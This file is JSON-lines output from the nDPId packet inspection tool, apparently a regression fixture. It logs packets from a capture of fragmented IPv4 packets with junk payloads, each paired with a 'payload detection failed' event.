+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2395,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827661,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2395,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2396,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827673,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2396,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2397,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827685,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2397,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2398,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827697,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2398,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2399,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827708,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2399,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2400,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827723,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2400,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2401,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827735,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2401,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2402,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827747,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2402,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2403,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827759,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2403,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2404,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827773,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2404,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2405,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827785,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2405,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2406,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827796,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2406,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2407,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827807,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2407,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2408,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827821,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2408,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2409,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827832,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhskAGQ\/8KAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2409,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2410,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827844,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtEAGQ\/0KAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2410,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2411,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827856,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtkAGQ\/sKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2411,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2412,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827874,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhuEAGQ\/kKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2412,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2413,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827886,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhukAGQ\/cKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2413,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2414,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827897,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvEAGQ\/UKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2414,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2415,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827908,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2415,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2416,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827920,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2416,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2417,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827935,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2417,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2418,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827947,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2418,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2419,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827962,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxkAGQ+sKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2419,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2420,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827978,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhyEAGQ+kKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2420,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2421,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":827992,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2421,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2422,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828004,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2422,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2423,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828016,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzkAGQ+MKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2423,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2424,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828028,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0EAGQ+EKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2424,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2425,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828039,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0kAGQ98KAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2425,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2426,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828051,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1EAGQ90KAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2426,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2427,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828064,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2427,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2428,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828076,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2428,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2429,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828087,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2429,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2430,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828098,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2430,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2431,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828113,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3kAGQ9MKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2431,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2432,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828125,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4EAGQ9EKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2432,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2433,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828136,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2433,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2434,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828151,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2434,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2435,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828163,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2435,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2436,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828175,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2436,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 